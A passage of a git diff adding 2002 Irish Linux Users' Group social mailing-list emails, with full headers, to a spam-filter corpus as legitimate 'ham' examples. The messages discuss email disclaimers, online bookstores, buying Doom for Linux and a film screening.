than in +certain situations. + +they are not binding. + +though there are some situations where for proffessional reasons one +may wish to indicate the standing of an email. (eg legal advice "this +is / is not legal advice" type of thing. But again, this means +disclaimers need to context-specific. (see 1.) + +3. there is precedence that blanket disclaimers, under UK law, have +no standing and that rather (common sense this) it is the context of +the situation that determines the legal effects of an email. + +See the norwich union case. + +Anyway, my top tips to help superiors who've fallen for disclaimers +to see sense: + +1. server side appends breaks email standards. (unless always done +correctly - nearly impossible, cause then server has to understand +every possible type of client encoding). + +1a. it /does/ break certain types of encryption, that depend on the +body being untouched. (eg X.509? kate brought this up ages ago). + +1b. iirc, it contravenes MIME to pre/append non mime-typed text. Most +mailers will work around this and display the mail 'correctly', some +might not though. Eg the message might not be displayed, or the +disclaimer might not be displayed. + +1c. the correct place for disclaimers is on the client side. this +also allows the user to select appropriate disclaimer for appropriate +context (or no disclaimer at all). + +2. blanket appended disclaimers are of dubious legal effectiveness. +(dilution, NU case in UK) + +3. generic disclaimer text is of dubious legal effectiveness. indeed +it will often be completely inappropriate ('this message is +confidential' on list mail). see 1c. Also, it needs to be written by +an actual lawyer. + +4. A lot of big multinational corporations do /not/ append +disclaimers. (ones i know of: Compaq (deceased), Motorol (iirc), +Microsoft (iirc)). + +Useful link: + +http://www.goldmark.org/jeff/stupid-disclaimers/ +(and see links at bottom of this page). + +finally, if you cant get reason to prevail and you have to agree to +implementing server side disclaimers, you can still resort to: + + "that'll be done just as soon as the company stationary has + disclaimers printed on them. oh, and i guess we'll have to play a + disclaimer before or after all our telephone calls too? + Wait, that would cause a problem for faxes wouldnt it?" + +> kevin + +Disclaimer: IANAL, all the above might be wrong, i might even be +intentionally misleading you. who knows.. go check it out for +yourself. + +regards, +-- +Paul Jakma paul@clubi.ie paul@jakma.org Key ID: 64A2FF6A + warning: do not ever send email to spam@dishone.st +Fortune: +A real patriot is the fellow who gets a parking ticket and rejoices +that the system works. + + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00048.74cb47cb518e1ad1628b49ebbeb9d2b6 b/bayes/spamham/easy_ham_2/00048.74cb47cb518e1ad1628b49ebbeb9d2b6 new file mode 100644 index 0000000..6ccf8f1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00048.74cb47cb518e1ad1628b49ebbeb9d2b6 @@ -0,0 +1,66 @@ +From social-admin@linux.ie Wed Aug 7 08:53:55 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3927A440C9 + for ; Wed, 7 Aug 2002 03:53:52 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 07 Aug 2002 08:53:52 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g777pLk16142 for + ; Wed, 7 Aug 2002 08:51:21 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id IAA09572; Wed, 7 Aug 2002 08:49:04 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from holly.csn.ul.ie (holly.csn.ul.ie [136.201.105.4]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id IAA09529 for ; + Wed, 7 Aug 2002 08:48:58 +0100 +Received: from skynet.csn.ul.ie (skynet [136.201.105.2]) by + holly.csn.ul.ie (Postfix) with ESMTP id E89012B254 for ; + Wed, 7 Aug 2002 08:48:23 +0100 (IST) +Received: by skynet.csn.ul.ie (Postfix, from userid 2009) id 94A66E956; + Wed, 7 Aug 2002 08:48:23 +0100 (IST) +Date: Wed, 7 Aug 2002 08:48:23 +0100 +To: social@linux.ie +Subject: Re: [ILUG-Social] Online Bookstores +Message-Id: <20020807074822.GA25190@skynet.ie> +Mail-Followup-To: social@linux.ie +References: <20020806162122.B604@barge.tcd.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020806162122.B604@barge.tcd.ie> +User-Agent: Mutt/1.3.24i +From: caolan@csn.ul.ie (Caolan McNamara) +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +On Tue, Aug 06, 2002 at 04:21:22 +0100, David O'Callaghan wrote: +> +> Hello, +> +> What are your recommendations for buying books (technical and +> otherwise) online, from Irish or European sellers. Is there +> anywhere that has as good a selection as, say, Amazon but +> deals in Euro? + +amazon.de and amazon.fr ? :-) + +C. +-- +Caolan McNamara | caolan@skynet.ie +http://www.skynet.ie/~caolan | +353 86 8161184 +The way some people find fault, you'd think there was a reward + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00049.5b60c886154af7a3d742e87fb125eb7b b/bayes/spamham/easy_ham_2/00049.5b60c886154af7a3d742e87fb125eb7b new file mode 100644 index 0000000..a4087c3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00049.5b60c886154af7a3d742e87fb125eb7b @@ -0,0 +1,86 @@ +From social-admin@linux.ie Wed Aug 7 09:58:39 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 678B5440CD + for ; Wed, 7 Aug 2002 04:58:36 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 07 Aug 2002 09:58:36 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g778x5k18569 for + ; Wed, 7 Aug 2002 09:59:05 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA12600; Wed, 7 Aug 2002 09:57:23 +0100 +Received: from mel-rto6.wanadoo.fr (smtp-out-6.wanadoo.fr [193.252.19.25]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id JAA12560 for + ; Wed, 7 Aug 2002 09:57:14 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host smtp-out-6.wanadoo.fr + [193.252.19.25] claimed to be mel-rto6.wanadoo.fr +Received: from mel-rta10.wanadoo.fr (193.252.19.193) by + mel-rto6.wanadoo.fr (6.5.007) id 3D49FD9700212EB3 for social@linux.ie; + Wed, 7 Aug 2002 10:56:43 +0200 +Received: from bolsh.wanadoo.fr (80.8.210.91) by mel-rta10.wanadoo.fr + (6.5.007) id 3D49FFDD00206547 for social@linux.ie; Wed, 7 Aug 2002 + 10:56:43 +0200 +Received: from dave by bolsh.wanadoo.fr with local (Exim 3.32 #1 (Debian)) + id 17cMh8-00045W-00 for ; Wed, 07 Aug 2002 11:01:30 +0200 +Date: Wed, 7 Aug 2002 11:01:30 +0200 +From: David Neary +To: social@linux.ie +Subject: Re: [ILUG-Social] Online Bookstores +Message-Id: <20020807110130.A15637@wanadoo.fr> +References: <20020806162122.B604@barge.tcd.ie> + <20020807074822.GA25190@skynet.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-15 +Content-Disposition: inline +In-Reply-To: <20020807074822.GA25190@skynet.ie> +User-Agent: Mutt/1.3.23i +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +Caolan McNamara wrote: +> On Tue, Aug 06, 2002 at 04:21:22 +0100, David O'Callaghan wrote: +> > +> > Hello, +> > +> > What are your recommendations for buying books (technical and +> > otherwise) online, from Irish or European sellers. Is there +> > anywhere that has as good a selection as, say, Amazon but +> > deals in Euro? +> +> amazon.de and amazon.fr ? :-) + +Having recently checked out both of these, for a selection of +books, the exact same basket of books cost more in both .de and +.fr (taking delivery charges, VAT et al into account) than buying +the same thing in amazon.co.uk + +The books I used to check were +1) C unleashed (Heathfield et al) +2) Design Patterns (Gamma et al) +3) Computer Graphics, principles and practice (Foley et al) + +I was hugely surprised that amazon.co.uk worked out cheapest - by +a considerable margin, too - something like 12 euros after +freight was taken into account. + +Cheers, +Dave. + +-- + David Neary, + Marseille, France + E-Mail: bolsh@gimp.org + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00050.425922b836765b577dcd7824591898db b/bayes/spamham/easy_ham_2/00050.425922b836765b577dcd7824591898db new file mode 100644 index 0000000..15637b4 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00050.425922b836765b577dcd7824591898db @@ -0,0 +1,74 @@ +From social-admin@linux.ie Wed Aug 7 10:03:56 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 65370440A8 + for ; Wed, 7 Aug 2002 05:03:56 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 07 Aug 2002 10:03:56 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g77920k18624 for + ; Wed, 7 Aug 2002 10:02:00 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA12771; Wed, 7 Aug 2002 10:00:21 +0100 +Received: from telutil12a.ml.com (telutil12a-v.ml.com [199.43.34.196]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA12740 for ; + Wed, 7 Aug 2002 10:00:15 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host telutil12a-v.ml.com + [199.43.34.196] claimed to be telutil12a.ml.com +Received: from telutil13a.ml.com (telutil13a [146.125.226.11]) by + telutil12a.ml.com (8.11.3/8.11.3/telutil12a-1.2) with ESMTP id + g7790Ef16358 for ; Wed, 7 Aug 2002 05:00:14 -0400 (EDT) +Received: from ehudwt01.exchange.ml.com (ehudwt01.exchange.ml.com + [199.201.37.22]) by telutil13a.ml.com (8.11.3/8.11.3/telutil13a-1.1) with + SMTP id g7790Ef06109 for ; Wed, 7 Aug 2002 05:00:14 -0400 + (EDT) +Received: from 169.243.202.61 by ehudwt01.exchange.ml.com with ESMTP ( + Tumbleweed MMS SMTP Relay (MMS v4.7);); Wed, 07 Aug 2002 04:59:59 -0400 +X-Server-Uuid: 3789b954-9c4e-11d3-af68-0008c73b0911 +Received: by dubim07742.ie.ml.com with Internet Mail Service ( + 5.5.2654.52) id <3TCXMRWG>; Wed, 7 Aug 2002 10:00:11 +0100 +Message-Id: +From: "Breathnach, Proinnsias (Dublin)" +To: social@linux.ie +Subject: RE: [ILUG-Social] Online Bookstores +Date: Wed, 7 Aug 2002 10:00:11 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2654.52) +X-WSS-Id: 114E3E04196354-01-01 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +What's wrong with good ol' www.eason.ie ? + +Delivery isn't too expensive, and they seem to have a reasonable stocklist +... not only that, but they've got b&m[0] stores too ... + +P +[0] Bricks 'n' Mortar + +> -----Original Message----- +> > On Tue, Aug 06, 2002 at 04:21:22 +0100, David O'Callaghan wrote: +> > > +> > > Hello, +> > > +> > > What are your recommendations for buying books (technical and +> > > otherwise) online, from Irish or European sellers. Is there +> > > anywhere that has as good a selection as, say, Amazon but +> > > deals in Euro? +> + + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00051.c2215fd876c5f9e5da959c16c8e1b115 b/bayes/spamham/easy_ham_2/00051.c2215fd876c5f9e5da959c16c8e1b115 new file mode 100644 index 0000000..d992ce1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00051.c2215fd876c5f9e5da959c16c8e1b115 @@ -0,0 +1,69 @@ +From social-admin@linux.ie Wed Aug 7 10:20:16 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E1BE7440C9 + for ; Wed, 7 Aug 2002 05:20:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 07 Aug 2002 10:20:12 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g779KWk19356 for + ; Wed, 7 Aug 2002 10:20:32 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA13739; Wed, 7 Aug 2002 10:18:50 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA13699 for ; + Wed, 7 Aug 2002 10:18:44 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) by ie.suberic.net + (8.11.6/8.11.6) with ESMTP id g779IgY00506 for ; + Wed, 7 Aug 2002 10:18:42 +0100 +Date: Wed, 7 Aug 2002 10:18:41 +0100 +To: social@linux.ie +Subject: Re: [ILUG-Social] Online Bookstores +Message-Id: <20020807101841.A333@ie.suberic.net> +References: <20020806162122.B604@barge.tcd.ie> + <20020806162409.A31290@m1.wombat.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-15 +Content-Disposition: inline +Content-Transfer-Encoding: 8bit +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <20020806162409.A31290@m1.wombat.ie>; from joe@galway.net on + Tue, Aug 06, 2002 at 04:24:09PM +0100 +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +Mail-Followup-To: kevin+dated+1029143922.62a561@ie.suberic.net, + social@linux.ie +X-Delivery-Agent: TMDA/0.57 +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +On Tue, Aug 06, 2002 at 04:24:09PM +0100, Joe Desbonnet wrote: +> I've found Micromail in Cork quite good: + +play247.com seems to be a good site for dvd's. prices are in sterling, +but they have free shipping. plus they're selling buffy season 5 dvd's +for £10 less then blackstar... + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00052.554e05bfafbdf397fc103a08c3a06652 b/bayes/spamham/easy_ham_2/00052.554e05bfafbdf397fc103a08c3a06652 new file mode 100644 index 0000000..c181870 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00052.554e05bfafbdf397fc103a08c3a06652 @@ -0,0 +1,73 @@ +From social-admin@linux.ie Wed Aug 7 14:38:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2AAEC440A8 + for ; Wed, 7 Aug 2002 09:38:53 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 07 Aug 2002 14:38:53 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g77DZrk31673 for + ; Wed, 7 Aug 2002 14:35:58 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA24846; Wed, 7 Aug 2002 14:34:07 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail1.mail.iol.ie (mail1.mail.iol.ie [194.125.2.192]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id OAA24787 for ; + Wed, 7 Aug 2002 14:34:01 +0100 +Received: from [193.203.143.142] (helo=Hobbiton.cod.ie) by + mail1.mail.iol.ie with esmtp (Exim 3.35 #1) id 17cQoo-0006ju-00 for + social@linux.ie; Wed, 07 Aug 2002 14:25:43 +0100 +Received: (from cdaly@localhost) by Hobbiton.cod.ie (8.11.6/8.9.3) id + g77CV0w28098 for social@linux.ie; Wed, 7 Aug 2002 13:31:00 +0100 +Date: Wed, 7 Aug 2002 13:30:59 +0100 +From: Conor Daly +To: social@linux.ie +Subject: Re: [ILUG-Social] Anyone in Limerick want to help? +Message-Id: <20020807133059.A27957@Hobbiton.cod.ie> +Mail-Followup-To: social@linux.ie +References: <20020806152937.A19525@Hobbiton.cod.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <20020806152937.A19525@Hobbiton.cod.ie>; from + conor.daly@oceanfree.net on Tue, Aug 06, 2002 at 03:29:38PM +0100 +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +Sorted. I've got someone... + +Thanks, +Conor + +On Tue, Aug 06, 2002 at 03:29:38PM +0100 or so it is rumoured hereabouts, +Conor Daly thought: +> I've had an offer of a couple of secondhand 18" LCD monitors in Limerick. +> Would anyone like to assist by going to test, purchase and store same for +> a couple of weeks (I'm in dublin and going away for a bit so I won't be +> able to organise collection for a while)? Please reply off-list of you +> can help. + +-- +Conor Daly + +Domestic Sysadmin :-) +--------------------- +Faenor.cod.ie + 1:32pm up 75 days, 22:50, 0 users, load average: 0.00, 0.00, 0.00 +Hobbiton.cod.ie + 1:30pm up 18 days, 19:54, 1 user, load average: 0.24, 0.12, 0.03 + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00053.5d91997e62360f3ab8094cad7b7cae66 b/bayes/spamham/easy_ham_2/00053.5d91997e62360f3ab8094cad7b7cae66 new file mode 100644 index 0000000..69fea80 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00053.5d91997e62360f3ab8094cad7b7cae66 @@ -0,0 +1,80 @@ +From social-admin@linux.ie Fri Aug 9 15:12:35 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 99001440CF + for ; Fri, 9 Aug 2002 10:12:31 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:12:31 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79ECRb05309 for + ; Fri, 9 Aug 2002 15:12:32 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id MAA05617 for + ; Fri, 9 Aug 2002 12:10:04 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA04475; Fri, 9 Aug 2002 12:09:34 +0100 +Received: from lhidns.gov.ie ([193.1.228.222]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA04437 for ; Fri, + 9 Aug 2002 12:09:27 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [193.1.228.222] claimed to + be lhidns.gov.ie +Received: from gw.educ.irlgov.ie (educ-gw.gov.ie [192.168.6.1] (may be + forged)) by lhidns.gov.ie (8.9.3/8.9.3) with ESMTP id MAA02879 for + ; Fri, 9 Aug 2002 12:08:55 +0100 +Received: (from fwtk@localhost) by gw.educ.irlgov.ie (8.8.6/8.8.6) id + NAA02676 for ; Fri, 9 Aug 2002 13:27:52 +0100 (BST) +Received: from unknown(10.0.0.13) by gw.educ.irlgov.ie via smap (V2.0) id + xma002668; Fri, 9 Aug 02 13:27:22 +0100 +Content-Class: urn:content-classes:message +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Date: Fri, 9 Aug 2002 12:08:24 +0100 +X-Mimeole: Produced By Microsoft Exchange V6.0.5762.3 +Message-Id: <9C498074D5419A44B05349F5BF2C26301CFA74@sdubtalex01.education.gov.ie> +X-MS-Has-Attach: +X-MS-Tnef-Correlator: +Thread-Topic: Doom for Linux +Thread-Index: AcI/lRHWr1xxxPlzQAm4xeZ4WWnaqA== +From: "Ryan, Shane" +To: +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + MAA04437 +Subject: [ILUG-Social] Doom for Linux +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +hi all, + +I'm looking to get my hands on +either Doom I or II for my PC. +Unfortunately I cannot access +IDSoftware's site because of +the silly web-filtering system +in place here. + +Does anyone know where I can +buy a copy of Doom (which I will +be running on Linux...) online? +Last time I asked in Game they laughed +at me ;] + +I would ask to swap for Linux software +but that wouldn't be ethical or legal. +Hence the purchasing question. + +Regards, +Shane + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00054.f61f8980e1e2ed80bd4a31f901a6118f b/bayes/spamham/easy_ham_2/00054.f61f8980e1e2ed80bd4a31f901a6118f new file mode 100644 index 0000000..73d452b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00054.f61f8980e1e2ed80bd4a31f901a6118f @@ -0,0 +1,91 @@ +From social-admin@linux.ie Fri Aug 9 15:12:30 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B1DE343FB1 + for ; Fri, 9 Aug 2002 10:12:27 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:12:27 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EC2b05272 for + ; Fri, 9 Aug 2002 15:12:02 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id MAA05737 for + ; Fri, 9 Aug 2002 12:25:31 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA05140; Fri, 9 Aug 2002 12:24:35 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail05.svc.cra.dublin.eircom.net + (mail05.svc.cra.dublin.eircom.net [159.134.118.21]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id MAA05099 for ; Fri, + 9 Aug 2002 12:24:29 +0100 +Received: (qmail 88517 messnum 261620 invoked from + network[159.134.211.126/p382.as1.castleblaney1.eircom.net]); + 9 Aug 2002 11:23:59 -0000 +Received: from p382.as1.castleblaney1.eircom.net (HELO + contactjuggling.org) (159.134.211.126) by mail05.svc.cra.dublin.eircom.net + (qp 88517) with SMTP; 9 Aug 2002 11:23:59 -0000 +Message-Id: <3D53A646.6020805@contactjuggling.org> +Date: Fri, 09 Aug 2002 12:23:50 +0100 +From: Kae Verens +User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.1b) Gecko/20020721 +X-Accept-Language: en, fi, fr, ga, ja, nl +MIME-Version: 1.0 +To: "Ryan, Shane" +Cc: social@linux.ie +Subject: Re: [ILUG-Social] Doom for Linux +References: <9C498074D5419A44B05349F5BF2C26301CFA74@sdubtalex01.education.gov.ie> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +Ryan, Shane wrote: +> hi all, +> +> I'm looking to get my hands on +> either Doom I or II for my PC. +> Unfortunately I cannot access +> IDSoftware's site because of +> the silly web-filtering system +> in place here. +> +> Does anyone know where I can +> buy a copy of Doom (which I will +> be running on Linux...) online? +> Last time I asked in Game they laughed +> at me ;] +> +> I would ask to swap for Linux software +> but that wouldn't be ethical or legal. +> Hence the purchasing question. +> +> Regards, +> Shane +> + +there was a copy of Doom 1 that came free with RedHat 5.2 - +unfortunately, it doesn't seem to be on the newer CDs. + +get the last laugh by going in, and saying that ID soft actually +released a Linux wrapper for the game. you need to buy the CDs, though, +then download the free wrapper. + +-- +Kae Verens +http://www.contactjuggling.org/users/kverens/ +http://www.contactjuggling.org/ (webmaster) + + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00055.1414fe3c3816bf0e13174847a15a2d30 b/bayes/spamham/easy_ham_2/00055.1414fe3c3816bf0e13174847a15a2d30 new file mode 100644 index 0000000..42ddad5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00055.1414fe3c3816bf0e13174847a15a2d30 @@ -0,0 +1,154 @@ +From social-admin@linux.ie Thu Aug 15 10:47:56 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6923F43C36 + for ; Thu, 15 Aug 2002 05:46:41 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 15 Aug 2002 10:46:41 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7EJ2l431259 for + ; Wed, 14 Aug 2002 20:02:47 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id UAA25002; Wed, 14 Aug 2002 20:02:24 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from linuxmafia.com (linuxmafia.COM [198.144.195.186]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id UAA24963 for ; + Wed, 14 Aug 2002 20:02:17 +0100 +Received: from rick by linuxmafia.com with local (Exim 3.35 #1 (Debian)) + id 17f3PN-0005XE-00; Wed, 14 Aug 2002 12:02:17 -0700 +Date: Wed, 14 Aug 2002 12:02:13 -0700 +To: Alan Horkan +Cc: social@linux.ie +Message-Id: <20020814190213.GG9654@linuxmafia.com> +References: +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: +User-Agent: Mutt/1.4i +From: Rick Moen +Subject: [ILUG-Social] Re: [ILUG] Linux: the film. +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +[Moved from the ILUG list. Not _entirely_ offlist as requested, but +close enough.] + +Quoting Alan Horkan (horkana@tcd.ie): + +> More likely we would try and get it when it comes out on video/dvd and +> show it then (which AFAIK is legal as we are non profit private +> organisation having a private showing and not charging our members for +> the showing. any opinions on the legality of this should be sent +> offlist). + + +One bloke's opinion: + + +Date: Sat, 01 Jun 2002 00:18:29 -0700 +From: "J.T.S. Moore" +Reply-To: jtsmoore@pacificnet.net +To: Marc MERLIN , + Daniel Isacc Walker +CC: svlug@svlug.org, Rick Moen , sluglug@sluglug.ucsc.edu, + Peter Belew , "Eric A. Perlman" , + i3e-off@cse.ucsc.edu, slug-web@sluglug.ucsc.edu +Subject: REVOLUTION OS is now authorized for UC Santa Cruz screening + +To all, + +I have read the series of e-mails related to the unauthorized UC Santa +Cruz screening that was scheduled for June 1. I sincerely appreciate +IEEE's good faith effort to correct the mistake. + +Consequently, so as not to 